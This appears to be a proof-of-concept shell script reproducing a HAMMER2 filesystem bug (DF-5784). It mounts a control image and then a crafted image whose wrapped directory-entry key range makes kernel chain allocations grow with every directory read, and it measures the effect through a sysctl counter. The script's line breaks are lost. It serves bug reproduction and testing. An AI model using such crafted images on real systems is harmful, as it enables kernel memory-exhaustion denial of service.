DF-5784 / run_df5784.sh
#!/bin/sh # DF-5784 (guest, root): control mount of base.img, then craftB.img whose # f1 DIRENT bref has key=0xC000000000000001 keybits=63 (comparator range # end wraps below beg). hammer2_chain_find() prunes the mis-ordered chain, # so every directory iteration re-creates a duplicate in-memory chain. # EXPECT: crafted chain_allocs delta grows ~ +1 per dirent entry read and # never terminates on its own (entry cap stops it); control delta ~ 0. D=/root/poc/df5784 cc -O2 -o $D/leakloop $D/leakloop.c || exit 1 vnconfig -u vn0 2>/dev/null || true echo "=== DF-5784 control: base.img ===" vnconfig -c vn0 $D/base.img mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?" B0=$(sysctl -n vfs.hammer2.chain_allocs) echo "control chain_allocs start=$B0" $D/leakloop /mnt/h2x 1000000 B1=$(sysctl -n vfs.hammer2.chain_allocs) umount /mnt/h2x; vnconfig -u vn0 echo "CONTROL_DELTA=$((B1 - B0))" echo "=== DF-5784 crafted: craftB.img (wrapped dirent range) ===" vnconfig -c vn0 $D/craftB.img mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?" C0=$(sysctl -n vfs.hammer2.chain_allocs) echo "crafted chain_allocs start=$C0" $D/leakloop /mnt/h2x 1000000 C1=$(sysctl -n vfs.hammer2.chain_allocs) echo "CRAFTED_DELTA=$((C1 - C0))" umount /mnt/h2x; vnconfig -u vn0 C2=$(sysctl -n vfs.hammer2.chain_allocs) echo "AFTER_UMOUNT=$C2" echo DF5784_DONE |